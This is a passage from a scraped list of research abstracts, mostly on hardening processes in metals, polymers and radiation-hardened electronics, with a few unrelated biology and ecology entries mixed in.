and troostite. After continuous electron beam irradiation, the micro structure of the electron beam hardened area is composed of acicular lower bainite, feathered upper bainite and part of lath martensite. The optimal input energy density for 30CrMnSiA steel in this study is of 2.5 kJ/cm2 to attain the proper hardened depth and peak hardness without the surface quality deterioration. When the input irradiation energy exceeds 2.5 kJ/cm2 the convective mixing of the melted zone will become dominant. In the area with convective mixing, the cooling rate is relatively lower, thus the micro hardness is lower. The surface quality will deteriorate. Chemical composition and surface roughness pre and post electron beam treatment are also compared. The technology discussed give a picture of the potential of electron beam surface treatment for improving service life and reliability of the 30CrMnSiA steel. 15. A detailed investigation of the strain hardening response of aluminum alloyed Hadfield steel Science.gov (United States) The unusual strain hardening response exhibited by Hadfield steel single and polycrystals under tensile loading was investigated. Hadfield steel, which deforms plastically through the competing mechanisms slip and twinning, was alloyed with aluminum in order to suppress twinning and study the role of slip only. To avoid complications due to a grained structure, only single crystals of the aluminum alloyed Hadfield steel were considered at the initial stage of the current study. As a result of alloying with aluminum, twinning was suppressed; however a significant increase in the strain hardening response was also present. A detailed microstructural analysis showed the presence of high-density dislocation walls that evolve in volume fraction due to plastic deformation and interaction with slip systems. The very high strain hardening rates exhibited by the aluminum alloyed Hadfield steel single crystals was attributed to the blockage of glide dislocations by the high-density dislocation walls. A crystal plasticity model was proposed, that accounts for the volume fraction evolution and rotation of the dense dislocation walls, as well as their interaction with the active slip systems. The novelty of the model lies in the simplicity of the constitutive equations that define the strain hardening, and the fact that it is based on experimental data regarding the microstructure. The success of the model was tested by its application to different crystallographic orientations, and finally the polycrystals of the aluminum alloyed Hadfield steel. Meanwhile, the capability of the model to predict texture was also observed through the rotation of the loading axis in single crystals. The ability of the model to capture the polycrystalline deformation response provides a venue for its utilization in other alloys that exhibit dislocation sheet structures. 16. Efficient simulation of press hardening process through integrated structural and CFD analyses International Nuclear Information System (INIS) Palaniswamy, Hariharasudhan; Mondalek, Pamela; Wronski, Maciek; Roy, Subir 2013-01-01 Press hardened steel parts are being increasingly used in automotive structures for their higher strength to meet safety standards while reducing vehicle weight to improve fuel consumption. However, manufacturing of sheet metal parts by press hardening process to achieve desired properties is extremely challenging as it involves complex interaction of plastic deformation, metallurgical change, thermal distribution, and fluid flow. Numerical simulation is critical for successful design of the process and to understand the interaction among the numerous process parameters to control the press hardening process in order to consistently achieve desired part properties. Until now there has been no integrated commercial software solution that can efficiently model the complete process from forming of the blank, heat transfer between the blank and tool, microstructure evolution in the blank, heat loss from tool to the fluid that flows through water channels in the tools. In this study, a numerical solution based on Altair HyperWorks® product suite involving RADIOSS®, a non-linear finite element based structural analysis solver and AcuSolve®, an incompressible fluid flow solver based on Galerkin Least Square Finite Element Method have been utilized to develop an efficient solution for complete press hardening process design and analysis. RADIOSS is used to handle the plastic deformation, heat transfer between the blank and tool, and microstructure evolution in the blank during cooling. While AcuSolve is used to efficiently model heat loss from tool to the fluid that flows through water channels in the tools. The approach is demonstrated through some case studies 17. Work-hardening stages and deformation mechanism maps during tensile deformation of commercially pure titanium DEFF Research Database (Denmark) Becker, Hanka; Pantleon, Wolfgang 2013-01-01 Commercially pure titanium was tensile tested at different strain rates between 2.2×10−4s−1 and 6.7×10−1s−1 to characterize the strain rate dependence of plastic deformation and the dominating deformation mechanisms. From true stress-true plastic strain curves, three distinct work-hardening stages...... are identified. The work-hardening rate decreases linearly with increasing flow stress for all three stages and the work-hardening rate is the controlling factor for the transition between the different stages and mechanisms. During the initial stage (at lowest stresses) plastic deformation is carried mainly...... by dislocation slip, in the following stage (for moderate stresses), an abundance of 64.6∘〈1¯010〉 twin boundaries form indicating the dominance of {112¯2}〈1¯1¯23〉 compression twinning. During the last stage before the onset of necking, additional 84.8∘〈112¯0〉 twin boundaries are detected caused by {101... 18. Age hardening of cold-worked Zr-2.5 wt% Nb pressure tube alloy International Nuclear Information System (INIS) Kishore, R.; Singh, R.N.; Dey, G.K.; Sinha, T.K. 1992-01-01 Specimens for hardness and tensile tests, machined from a cold-worked zirconium-2.5% niobium pressure tube, with their axes parallel to longitudinal and transverse directions, were aged for 1 hr. at 300-500 C. The age hardening behaviour was monitored by mechanical tests, electron-microscopy and x-ray diffraction. In addition a few studies were carried on longitudinal tension specimens subjected to prolonged ageing (100-1000 hrs) at 300 C. It was observed that the short-term (1 hour) thermal ageing of this material at 300-400 C caused an increase in both strength and hardness without affecting ductility. It appears that the observed age-hardening is due to precipitation hardening by a niobium-rich phase and softening by recovery of cold-work and that the phenomenon is influenced by crystallographic texture. Further it was noted that a prolonged ageing at 300 C upto 1000 hrs, did not cause any appreciable changes in strength and ductility of the material compared to those obtained by 1 hour ageing at the same temperature. (author). 11 refs., 3 figs., 2 tabs 19. Ultrafine-Grained Precipitation Hardened Copper Alloys by Swaging or Accumulative Roll Bonding Directory of Open Access Journals (Sweden) Igor Altenberger 2015-05-01 Full Text Available There is an increasing demand in the industry for conductive high strength copper alloys. Traditionally, alloy systems capable of precipitation hardening have been the first choice for electromechanical connector materials. Recently, ultrafine-grained materials have gained enormous attention in the materials science community as well as in first industrial applications (see, for instance, proceedings of NANO SPD conferences. In this study the potential of precipitation hardened ultra-fine grained copper alloys is outlined and discussed. For this purpose, swaging or accumulative roll-bonding is applied to typical precipitation hardened high-strength copper alloys such as Corson alloys. A detailed description of the microstructure is given by means of EBSD, Electron Channeling Imaging (ECCI methods and consequences for mechanical properties (tensile strength as well as fatigue and electrical conductivity are discussed. Finally the role of precipitates for thermal stability is investigated and promising concepts (e.g. tailoring of stacking fault energy for grain size reduction and alloy systems for the future are proposed and discussed. The relation between electrical conductivity and strength is reported. 20. Changes in Structural Characteristics of Hypoeutectic Al-Si Cast Alloy after Age Hardening Directory of Open Access Journals (Sweden) Lenka HURTALOVÁ 2012-09-01 Full Text Available The contribution describes influence of the age-hardening consist of solution treatment at 515 °C with holding time 4 hours, water quenching at 40 °C and artificial aging at different temperature 150 °C, 170 °C and 190 °C with different holding time 2, 4, 8, 16 and 32 hours on mechanical properties (tensile strength and Brinell hardness and changes in morphology of eutectic Si, Fe-rich and Cu-rich intermetallic phases in secondary (recycled AlSi9Cu3 cast alloy. A combination of different analytical techniques (light microscopy upon black-white and colour etching, scanning electron microscopy (SEM upon deep etching and energy dispersive X-ray analysis (EDX were therefore been used for the identification of the various phases. Quantitative study of changes in morphology of eutectic Si, Cu-rich and Fe-rich phases was carried out using Image Analyzer software NIS-Elements. Mechanical properties were measured in line with EN ISO. Age-hardening led to changes in microstructure include the spheroidization and coarsening of eutectic silicon, gradual disintegration, shortening and thinning of Fe- rich intermetallic phases, the dissolution of precipitates and the precipitation of finer hardening phase (Al2Cu further increase in the hardness and tensile strength in the alloy.DOI: http://dx.doi.org/10.5755/j01.ms.18.3.2430 1. a Calorimetric Study of the Precipitation Hardening Mechanisms in AN Al-Cu-Mg-Si Alloy Science.gov (United States) Hayoune, Abdelali 2013-08-01 The precipitation phenomena and the related hardening in an Al-Cu-Mg-Si alloy were studied by calorimetry, X-ray diffraction analysis and microhardness measurements. The main calorimetric peaks were identified to be due to β‧‧, θ‧ and Q‧ phases precipitation. The hardening during aging at room temperature and 160°C, was respectively, explained by atomic clusters and GP zones formation and by GP zones and β‧‧/θ‧ phases coprecipitation. Although the mechanical properties variation during aging at 200°C is simple, the corresponding microstructural evolution is complex: on the basis of the DSC results, the increasing of microhardness values, is mainly due to the coprecipitation of GP zones and β‧‧/θ‧ phases, however, the maximum hardening is explained by the coexistence of β‧‧/θ‧ and θ‧‧ phases. Another important conclusion is that during aging at 160°C and 200°C, the θ‧ phase is essentially developed from GP zones. 2. Influence of coolant motion on structure of hardened steel element Directory of Open Access Journals (Sweden) A. Kulawik 2008-08-01 Full Text Available Presented paper is focused on volumetric hardening process using liquid low melting point metal as a coolant. Effect of convective motion of the coolant on material structure after hardening is investigated. Comparison with results obtained for model neglecting motion of liquid is executed. Mathematical and numerical model based on Finite Element Metod is described. Characteristic Based Split (CBS method is used to uncouple velocities and pressure and finally to solve Navier-Stokes equation. Petrov-Galerkin formulation is employed to stabilize convective term in heat transport equation. Phase transformations model is created on the basis of Johnson-Mehl and Avrami laws. Continuous cooling diagram (CTPc for C45 steel is exploited in presented model of phase transformations. Temporary temperatures, phases participation, thermal and structural strains in hardening element and coolant velocities are shown and discussed. 3. Investigation of magnesium oxychloride cement at the initial hardening stage Directory of Open Access Journals (Sweden) Averina Galina 2018-01-01 Full Text Available The paper investigates the process of variation of magnesium oxychloride cement deformations at the initial hardening stage depending on the activity of magnesium oxide powder which is determined by the parameters of the source material burning. Investigation is focused on magnesium cements obtained from pure magnesium hydroxide. Source materials were burnt at various temperatures with the purpose to obtain magnesium oxide powder with different activity. Regular content of hydrated phases was determined in hardened magnesium cement prepared on the basis of binders with different activity. The study reveals the influence of magnesium oxide powder activity on the process of deformation occurrence in hardened magnesium cement and its tendency to crack formation. 4. Branching structure and strain hardening of branched metallocene polyethylenes International Nuclear Information System (INIS) Torres, Enrique; Li, Si-Wan; Costeux, Stéphane; Dealy, John M. 2015-01-01 There have been a number of studies of a series of branched metallocene polyethylenes (BMPs) made in a solution, continuous stirred tank reactor (CSTR) polymerization. The materials studied vary in branching level in a systematic way, and the most highly branched members of the series exhibit mild strain hardening. An outstanding question is which types of branched molecules are responsible for strain hardening in extension. This question is explored here by use of polymerization and rheological models along with new data on the extensional flow behavior of the most highly branched members of the set. After reviewing all that is known about the effects of various branching structures in homogeneous polymers and comparing this with the structures predicted to be present in BMPs, it is concluded that in spite of their very low concentration, treelike molecules with branch-on-branch structure provide a large number of deeply buried inner segments that are essential for strain hardening in these polymers 5. Branching structure and strain hardening of branched metallocene polyethylenes Energy Technology Data Exchange (ETDEWEB) Torres, Enrique; Li, Si-Wan; Costeux, Stéphane; Dealy, John M., E-mail: [email protected] [Department of Chemical Engineering, McGill University, Montreal, Quebec H3A 0C4 (Canada) 2015-09-15 There have been a number of studies of a series of branched metallocene polyethylenes (BMPs) made in a solution, continuous stirred tank reactor (CSTR) polymerization. The materials studied vary in branching level in a systematic way, and the most highly branched members of the series exhibit mild strain hardening. An outstanding question is which types of branched molecules are responsible for strain hardening in extension. This question is explored here by use of polymerization and rheological models along with new data on the extensional flow behavior of the most highly branched members of the set. After reviewing all that is known about the effects of various branching structures in homogeneous polymers and comparing this with the structures predicted to be present in BMPs, it is concluded that in spite of their very low concentration, treelike molecules with branch-on-branch structure provide a large number of deeply buried inner segments that are essential for strain hardening in these polymers. 6. Increased slow transport in axons of regenerating newt limbs after a nerve conditioning lesion made prior to amputation International Nuclear Information System (INIS) Maier, C.E. 1989-01-01 The first part of this study shows that axonal density is constant in the limb stump of the next proximal to the area of traumatic nerve degeneration caused by limb amputation. The results of the second part of this work reveal that a nerve conditioning lesion made two weeks prior to amputation is associated with accelerated limb regeneration and that this accelerated limb regeneration is accompanied by an earlier arrival of axons. This is the first demonstration of naturally occurring limb regeneration being enhanced. In this study SCb cytoskeletal proteins were identified and measured using SDS-PAGE and liquid scintillation counting. Proteins were measured at 7, 14, 21, and 28 days after 35 S-methionine injection and the normal rate of SCb transport determined to be 0.19 mm/day. A single axotomy does not enhance the rate of SCb transport but does increase the amount of labeled SCb proteins that are transported. When a conditioning lesion is employed prior to limb amputation and SCb proteins are measured at 7, 14, and 21 days after injection, there is a twofold acceleration in the rate of SCb transport and an increase in the amount of SCb proteins transported in conditioned axons 7. Increasing nest predation will be insufficient to maintain polar bear body condition in the face of sea ice loss. Science.gov (United States) Dey, Cody J; Richardson, Evan; McGeachy, David; Iverson, Samuel A; Gilchrist, Hugh G; Semeniuk, Christina A D 2017-05-01 Climate change can influence interspecific interactions by differentially affecting species-specific phenology. In seasonal ice environments, there is evidence that polar bear predation of Arctic bird eggs is increasing because of earlier sea ice breakup, which forces polar bears into nearshore terrestrial environments where Arctic birds are nesting. Because polar bears can consume a large number of nests before becoming satiated, and because they can swim between island colonies, they could have dramatic influences on seabird and sea duck reproductive success. However, it is unclear whether nest foraging can provide an energetic benefit to polar bear populations, especially given the capacity of bird populations to redistribute in response to increasing predation pressure. In this study, we develop a spatially explicit agent-based model of the predator-prey relationship between polar bears and common eiders, a common and culturally important bird species for northern peoples. Our model is composed of two types of agents (polar bear agents and common eider hen agents) whose movements and decision heuristics are based on species-specific bioenergetic and behavioral ecological principles, and are influenced by historical and extrapolated sea ice conditions. Our model reproduces empirical findings that polar bear predation of bird nests is increasing and predicts an accelerating relationship between advancing ice breakup dates and the number of nests depredated. Despite increases in nest predation, our model predicts that polar bear body condition during the ice-free period will continue to decline. Finally, our model predicts that common eider nests will become more dispersed and will move closer to the mainland in response to increasing predation, possibly increasing their exposure to land-based predators and influencing the livelihood of local people that collect eider eggs and down. These results show that predator-prey interactions can have nonlinear responses to 8. Kinematic Hardening: Characterization, Modeling and Impact on Springback Prediction International Nuclear Information System (INIS) Alves, J. L.; Bouvier, S.; Jomaa, M.; Billardon, R.; Oliveira, M. C.; Menezes, L. F. 2007-01-01 The constitutive modeling of the materials' mechanical behavior, usually carried out using a phenomenological constitutive model, i.e., a yield criterion associated to the isotropic and kinematic hardening laws, is of paramount importance in the FEM simulation of the sheet metal forming processes, as well as in the springback prediction. Among others, the kinematic behavior of the yield surface plays an essential role, since it is indispensable to describe the Bauschinger effect, i.e., the materials' answer to the multiple tension-compression cycles to which material points are submitted during the forming process. Several laws are usually used to model and describe the kinematic hardening, namely: a) the Prager's law, which describes a linear evolution of the kinematic hardening with the plastic strain rate tensor b) the Frederick-Armstrong non-linear kinematic hardening, basically a non-linear law with saturation; and c) a more advanced physically-based law, similar to the previous one but sensitive to the strain path changes. In the present paper a mixed kinematic hardening law (linear + non-linear behavior) is proposed and its implementation into a static fully-implicit FE code is described. The material parameters identification for sheet metals using different strategies, and the classical Bauschinger loading tests (i.e. in-plane forward and reverse monotonic loading), are addressed, and their impact on springback prediction evaluated. Some numerical results concerning the springback prediction of the Numisheet'05 Benchmark no. 3 are briefly presented to emphasize the importance of a correct modeling and identification of the kinematic hardening behavior 9. The application and processing of paints hardened by electron beams International Nuclear Information System (INIS) Anon. 1984-01-01 Electron beam hardening is a process for changing liquid surface coatings of different thicknesses by irradiation with electrons of high energy into solid, hard, elastic films. In contrast to the UV process, one can harden pigmented paints with electron beams. An electron accelerator, which remits free electrons is used as the energy source for starting the chemical reaction in the coating material. In order to irradiate flat parts, which were coated with liquid paint by rolling, pouring or spraying, equally with electrons, one must produce an 'electron curtain', similar to that in a paint pouring machine. (orig./PW) [de 10. Why semiconductors must be hardened when used in space International Nuclear Information System (INIS) Winokur, P.S. 2000-01-01 The natural space radiation environment presents a great challenge to present and future satellite systems with significant assets in space. Defining requirements for such systems demands knowledge about the space radiation environment and its effects on electronics and optoelectronics technologies, as well as suitable risk assessment of the uncertainties involved. For mission of high radiation levels, radiation-hardened integrated circuits will be required to preform critical mission functions. The most successful systems in space will be those that are best able to blend standard commercial electronics with custom radiation-hardened electronics in a mix that is suitable for the system of interest 11. Influence of anisotropic hardening on longitudinal welding strains and stresses International Nuclear Information System (INIS) Gatovskij, K.M.; Revutskij, M.N. 1981-01-01 The algorithm and program for estimation of longitudinal welding strains and stresses with account of hardening and Bauschinger effect, which expand the possibilities of more complete description of stress change during thermodeformation welding cycles at bead surfacing on plate made of the 06Kh18N9T steel and AMg61 alloy. It is shown that for metals, deformation curves which are characterized by considerable yield moduli (Esub(T)/E>=0.05) hardening effect is considerable and its account leads to the decrease of stress level in the heataffected zone (down to 20%) [ru 12. Radiation Hardened 10BASE-T Ethernet Physical Layer (PHY) Science.gov (United States) Lin, Michael R. (Inventor); Petrick, David J. (Inventor); Ballou, Kevin M. (Inventor); Espinosa, Daniel C. (Inventor); James, Edward F. (Inventor); Kliesner, Matthew A. (Inventor) 2017-01-01 Embodiments may provide a radiation hardened 10BASE-T Ethernet interface circuit suitable for space flight and in compliance with the IEEE 802.3 standard for Ethernet. The various embodiments may provide a 10BASE-T Ethernet interface circuit, comprising a field programmable gate array (FPGA), a transmitter circuit connected to the FPGA, a receiver circuit connected to the FPGA, and a transformer connected to the transmitter circuit and the receiver circuit. In the various embodiments, the FPGA, transmitter circuit, receiver circuit, and transformer may be radiation hardened. 13. Aspect-oriented security hardening of UML design models CERN Document Server Mouheb, Djedjiga; Pourzandi, Makan; Wang, Lingyu; Nouh, Mariam; Ziarati, Raha; Alhadidi, Dima; Talhi, Chamseddine; Lima, Vitor 2015-01-01 This book comprehensively presents a novel approach to the systematic security hardening of software design models expressed in the standard UML language. It combines model-driven engineering and the aspect-oriented paradigm to integrate security practices into the early phases of the software development process. To this end, a UML profile has been developed for the specification of security hardening aspects on UML diagrams. In addition, a weaving framework, with the underlying theoretical foundations, has been designed for the systematic injection of security aspects into UML models. The 14. Work hardening and plastic equation of state of tantalum International Nuclear Information System (INIS) Gypen, L.A.; Aernoudt, E.; Deruyttere, A. 1983-01-01 The influence of cold deformation on the thermal and athermal components of the flow stress of tantalum was investigated. Up to high deformation levels the strain hardening is due only to the development of internal stress fields; the effective stress remains almost constant. The athermal strain hardening of tantalum is parabolic at low deformation levels (epsilon < 0.5) and linear at high deformation levels, as for other bcc metals. Hart's plastic equation of state is shown to be valid for tantalum at room temperature in the whole deformation range investigated (from epsilon = 0.005 to epsilon = 2.8). (author) 15. Microstructure and properties of cast iron after laser surface hardening Directory of Open Access Journals (Sweden) Stanislav 2013-12-01 Full Text Available Laser surface hardening of cast iron is not trivial due to the material’s heterogeneity and coarse-grained microstructure, particularly in massive castings. Despite that, hardening of heavy moulds for automotive industry is in high demand. The present paper summarises the findings collected over several years of study of materials structure and surface properties. Phase transformations in the vicinity of graphite are described using examples from production of body parts in automotive industry. The description relates to formation of martensite and carbide-based phases, which leads to hardness values above 65 HRC and to excellent abrasion resistance. 16. Numerical simulations of progressive hardening by using ABAQUS FEA software Directory of Open Access Journals (Sweden) Domański Tomasz 2018-01-01 Full Text Available The paper concerns numerical simulations of progressive hardening include phase transformations in solid state of steel. Abaqus FEA software is used for numerical analysis of temperature field and phase transformations. Numerical subroutines, written in fortran programming language are used in computer simulations where models of the distribution of movable heat source, kinetics of phase transformations in solid state as well as thermal and structural strain are implemented. Model for evaluation of fractions of phases and their kinetics is based on continuous heating diagram and continuous cooling diagram. The numerical analysis of thermal fields, phase fractions and strain associated progressive hardening of elements made of steel were done. 17. Exploration of a radiation hardening stabilized voltage power supply International Nuclear Information System (INIS) Xie Zeyuan; Xu Xianguo 2014-01-01 This paper mainly introduces the design method of radiation hardening stabilized voltage power supply that makes use of commercial radiation resistant electronic devices and the test results of radiation performance of the power supply and devices are presented in detail. The experiment results show that the hardened power supply can normally work until 1000 Gy (Si) total dose and 1 × 10 14 n/cm 2 neutron radiation, and it doesn't latchup at about 1 × l0 9 Gy (Si)/s gamma transient dose rate. (authors) 18. Structure of hardened alloys of Sr-Rh system International Nuclear Information System (INIS) Dobromyslov, A.V.; Taluth, N.I. 1997-01-01 Methods of X-ray diffraction analysis, optical metallography, transmission electron microscopy and hardness measurement were applied to study the structure of hardened zirconium-rhodium system alloys with rhodium contents up to 4.5 at.%. It is shown that in hardening alloys with rhodium concentration lower 2.2 at.% the eutectoid decomposition takes place and bainite-like structure is formed. A metastable ω-phase is formed in alloys with rhodium concentration equal to 2.65 at.% and above. The formation of ω-phase suppresses the process of eutectoid decomposition 19. Changes in hardness of magnesium alloys due to precipitation hardening Directory of Open Access Journals (Sweden) Tatiana Oršulová 2018-04-01 Full Text Available This paper deals with the evaluation of changes in hardness of magnesium alloys during precipitation hardening that are nowadays widely used in different fields of industry. It focuses exactly on AZ31, AZ61 and AZ91 alloys. Observing material hardness changes serves as an effective tool for determining precipitation hardening parameters, such as temperature and time. Brinell hardness measurement was chosen based on experimental needs. There was also necessary to make chemical composition analysis and to observe the microstructures of tested materials. The obtained results are presented and discussed in this paper. 20. ARBUSCULAR MYCORRHIZAL FUNGI INCREASED EARLY GROWTH OF GAHARU WOOD OF Aquilaria malaccencsis and A. crasna UNDER GREENHOUSE CONDITIONS Directory of Open Access Journals (Sweden) Maman Turjaman 2006-07-01 Full Text Available Gaharu wood stand has an important source of profits to the forest community in South and Southeast Asia tropical forest countries, but Aquilaria species have reduced in number and turn out to be endangered due to overexploitation. Today, the planting stocks of Aquilaria species are not sufficient to sustain the yield of gaharu wood and promote forest conservation. The objective of this study was to determine the effect of five arbuscular mycorrhizal (AM fungi: Entrophospora sp., Gigaspora decipiens, Glomus clarum, Glomus sp. ZEA, and Glomus sp. ACA, on the early growth of Aquilaria malaccensis and A. crasna under greenhouse conditions. The seedlings of Aquilaria spp. were inoculated with Entrophospora sp., Gi. decipiens, Glomus clarum, Glomus sp. ZEA, Glomus sp. ACA and uninoculated (control under greenhouse conditions. Then, percentage AM colonization, plant growth, survival rate and nitrogen (N and phosphorus (P content and mycorrhizal dependence (MD were measured. The percentage AM colonization of A. malaccensis and A. crasna ranged from 83 to 97% and from 63 to 78%, respectively. Colonization by five AM fungi increased plant height, diameter, and shoot and root dry weights. N and P content of the seedlings were also increased by AM colonization. Survival rates were higher in the AM-colonized seedlings at 180 days after transplantation than those in the control seedlings. The MD of Aquilaria species was higher than 55 %. The results suggested that AM fungi can be inoculatedto Aquilaria species under nursery conditions to obtain vigorous seedlings, and the field experiment is underway to clarify the role of AM fungi under field conditions. 1. Expression of an Arabidopsis molybdenum cofactor sulphurase gene in soybean enhances drought tolerance and increases yield under field conditions. Science.gov (United States) Li, Yajun; Zhang, Jiachang; Zhang, Juan; Hao, Ling; Hua, Jinping; Duan, Liusheng; Zhang, Mingcai; Li, Zhaohu 2013-08-01 LOS5/ABA3 gene encoding molybdenum cofactor sulphurase is involved in aldehyde oxidase (AO) activity in Arabidopsis, which indirectly regulates ABA biosynthesis and increased stress tolerance. Here, we used a constitutive super promoter to drive LOS5/ABA3 overexpression in soybean (Glycine max L.) to enhance drought tolerance in growth chamber and field conditions. Expression of LOS5/ABA3 was up-regulated by drought stress, which led to increasing AO activity and then a notable increase in ABA accumulation. Transgenic soybean under drought stress had reduced water loss by decreased stomatal aperture size and transpiration rate, which alleviated leaf wilting and maintained higher relative water content. Exposed to drought stress, transgenic soybean exhibited reduced cell membrane damage by reducing electrolyte leakage and production of malondialdehyde and promoting proline accumulation and antioxidant enzyme activities. Also, overexpression of LOS5/ABA3 enhanced expression of stress-up-regulated genes. Furthermore, the seed yield of transgenic plants is at least 21% higher than that of wide-type plants under drought stress conditions in the field. These data suggest that overexpression of LOS5/ABA3 could improve drought tolerance in transgenic soybean via enhanced ABA accumulation, which could activate expression of stress-up-regulated genes and cause a series of physiological and biochemical resistant responses. © 2013 Society for Experimental Biology, Association of Applied Biologists and John Wiley & Sons Ltd. 2. Tensile properties and strain-hardening behavior of double-sided arc welded and friction stir welded AZ31B magnesium alloy International Nuclear Information System (INIS) Chowdhury, S.M.; Chen, D.L.; Bhole, S.D.; Cao, X.; Powidajko, E.; Weckman, D.C.; Zhou, Y. 2010-01-01 Microstructures, tensile properties and work hardening behavior of double-sided arc welded (DSAWed) and friction stir welded (FSWed) AZ31B-H24 magnesium alloy sheet were studied at different strain rates. While the yield strength was higher, both the ultimate tensile strength and ductility were lower in the FSWed samples than in the DSAWed samples due to welding defects present at the bottom surface in the FSWed samples. Strain-hardening exponents were evaluated using the Hollomon relationship, the Ludwik equation and a modified equation. After welding, the strain-hardening exponents were nearly twice that of the base metal. The DSAWed samples exhibited stronger strain-hardening capacity due to the larger grain size coupled with the divorced eutectic structure containing β-Mg 17 Al 12 particles in the fusion zone, compared to the FSWed samples and base metal. Kocks-Mecking type plots were used to show strain-hardening stages. Stage III hardening occurred after yielding in both the base metal and the welded samples. At lower strains a higher strain-hardening rate was observed in the base metal, but it decreased rapidly with increasing net flow stress. At higher strains the strain-hardening rate of the welded samples became higher, because the recrystallized grains in the FSWed and the larger re-solidified grains coupled with β particles in the DSAWed provided more space to accommodate dislocation multiplication during plastic deformation. The strain-rate sensitivity evaluated via Lindholm's approach was observed to be higher in the base metal than in the welded samples. 3. The response of mulberry trees after seedling hardening to summer drought in the hydro-fluctuation belt of Three Gorges Reservoir Areas. Science.gov (United States) Huang, Xiaohui; Liu, Yun; Li, Jiaxing; Xiong, Xingzheng; Chen, Yang; Yin, Xiaohua; Feng, Dalan 2013-10-01 Interest has developed in the potential of mulberry (Morus alba), a woody perennial, for revegetating the hydro-fluctuation belt of the Three Gorges Reservoir due to its resistance to water-logging stress. To be useful, the trees must also be able to withstand dry conditions in summer when temperatures can be very high and droughts become severe quickly. Here, we report a study in which mulberry seedlings were grown in a greenhouse under a variety of simulated soil water conditions reflecting potential summer scenarios in the hydro-fluctuation belt of the Three Gorges Reservoir Area. We compared the responses of two pretreatment groups of mulberry seedlings to different levels of drought stress. The pretreatment groups differed with respect to drought hardening: the daily-managed (DM) group had relative soil moisture held constant in the range 70-80 %, while the drought-hardened (DH) group had relative soil moisture held constant at 40-50 %. Following the month-long pretreatment of seedlings, the two groups of young trees (DM and DH) were then respectively subjected to three levels of drought stress for a month: normal watering, moderate drought stress, and severe drought stress. A series of measurements comparing the physiological status of the plants in the two groups were then made, and the following results were obtained: (1) As drought stress increased, the heights, base diameters, root surface areas, photosynthetic rates (Pn), stomatal conductances (Gs), and transpiration rates (Tr) of the mulberry trees in both groups (DM and DH) decreased significantly, while the specific root area and abscisic acid (ABA) contents had increasing trends. Root activity and instantaneous water use efficiency of mulberry trees in both groups (DM and DH) were all raised under drought stress conditions than under normal watering, but the root/shoot ratio and leaf water potential were lowered. (2) At the same level of soil water content, the heights, base diameters, root 4. Neutron-irradiation + helium hardening and embrittlement modeling of 9% Cr-steels in an engineering perspective (HELENA) Energy Technology Data Exchange (ETDEWEB) 2008-07-01 This report provides a physically-based engineering model to estimate the radiation hardening of 9%Cr-steels under both displacement damage (dpa) and helium. The model is essentially based on the dispersed barrier hardening theory and the dynamic re-solution of helium under displacement cascades. However, a number of assumptions and simplifications were considered to obtain a simple description of irradiation hardening and embrittlement primarily relying on the available experimental data. As a result, two components were basically identified, the dpa component that can be associated with black dots and small loops and the He-component accounting for helium bubbles. The dpa component is strongly dependent on the irradiation temperature and its dependence law was based on a first-order annealing kinetics. The damage accumulation law was also modified to take saturation into account. Finally, the global kinetics of the damage accumulation kept defined, its amplitude is fitted to one experimental condition. The model was rationalized on an experimental database that mainly consists of {proportional_to}9%Cr-steels irradiated in the technologically important temperature range of 50 to 600 C up do 50 dpa and with a He-content up to {proportional_to}5000 appm, including neutron and proton irradiation as well as implantation. The test temperature effect is taken into account through a normalization procedure based on the change of the Young's modulus and the anelastic deformation that occurs at high temperature. Finally, the hardening-to-embrittlement correlation is obtained using the load diagram approach. Despite the large experimental scatter, inherent to the variety of the materials and irradiation as well as testing conditions, the obtained results are very promising. Improvement of the model performance is still possible by including He-hardening saturation and high temperature softening but unfortunately, at this stage, a number of conflicting experimental data 5. Neutron-irradiation + helium hardening and embrittlement modeling of 9% Cr-steels in an engineering perspective (HELENA) International Nuclear Information System (INIS) 2008-01-01 This report provides a physically-based engineering model to estimate the radiation hardening of 9%Cr-steels under both displacement damage (dpa) and helium. The model is essentially based on the dispersed barrier hardening theory and the dynamic re-solution of helium under displacement cascades. However, a number of assumptions and simplifications were considered to obtain a simple description of irradiation hardening and embrittlement primarily relying on the available experimental data. As a result, two components were basically identified, the dpa component that can be associated with black dots and small loops and the He-component accounting for helium bubbles. The dpa component is strongly dependent on the irradiation temperature and its dependence law was based on a first-order annealing kinetics. The damage accumulation law was also modified to take saturation into account. Finally, the global kinetics of the damage accumulation kept defined, its amplitude is fitted to one experimental condition. The model was rationalized on an experimental database that mainly consists of ∝9%Cr-steels irradiated in the technologically important temperature range of 50 to 600 C up do 50 dpa and with a He-content up to ∝5000 appm, including neutron and proton irradiation as well as implantation. The test temperature effect is taken into account through a normalization procedure based on the change of the Young's modulus and the anelastic deformation that occurs at high temperature. Finally, the hardening-to-embrittlement correlation is obtained using the load diagram approach. Despite the large experimental scatter, inherent to the variety of the materials and irradiation as well as testing conditions, the obtained results are very promising. Improvement of the model performance is still possible by including He-hardening saturation and high temperature softening but unfortunately, at this stage, a number of conflicting experimental data reported in literature should 6. Increase on the initial soluble heme levels in acidic conditions is an important mechanism for spontaneous heme crystallization in vitro. Directory of Open Access Journals (Sweden) Renata Stiebler Full Text Available BACKGROUND: Hemozoin (Hz is a heme crystal that represents a vital pathway for heme disposal in several blood-feeding organisms. Recent evidence demonstrated that β-hematin (βH (the synthetic counterpart of Hz formation occurs under physiological conditions near synthetic or biological hydrophilic-hydrophobic interfaces. This seems to require a heme dimer acting as a precursor of Hz crystals that would be formed spontaneously in the absence of the competing water molecules bound to the heme iron. Here, we aimed to investigate the role of medium polarity on spontaneous βH formation in vitro. METHODOLOGY/PRINCIPAL FINDINGS: We assessed the effect of water content on spontaneous βH formation by using the aprotic solvent dimethylsulfoxide (DMSO and a series of polyethyleneglycols (PEGs. We observed that both DMSO and PEGs (3.350, 6.000, 8.000, and 22.000 increased the levels of soluble heme under acidic conditions. These compounds were able to stimulate the production of βH crystals in the absence of any biological sample. Interestingly, the effects of DMSO and PEGs on βH formation were positively correlated with their capacity to promote previous heme solubilization in acidic conditions. Curiously, a short chain polyethyleneglycol (PEG 300 caused a significant reduction in both soluble heme levels and βH formation. Finally, both heme solubilization and βH formation strongly correlated with reduced medium water activity provided by increased DMSO concentrations. CONCLUSIONS: The data presented here support the notion that reduction of the water activity is an important mechanism to support spontaneous heme crystallization, which depends on the previous increase of soluble heme levels. 7. Hardening and stress relaxation during repeated heating of 15Kh2MFA and 15Kh2NMFA steels welded joints International Nuclear Information System (INIS) Zubchenko, A.S.; Suslova, E.A. 1986-01-01 Results of investigation of temperature-time conditions of hardening of welded joints of 15Kh2MFA and 15Kh2NMFA steels and their relaxation resistance, effect of metal 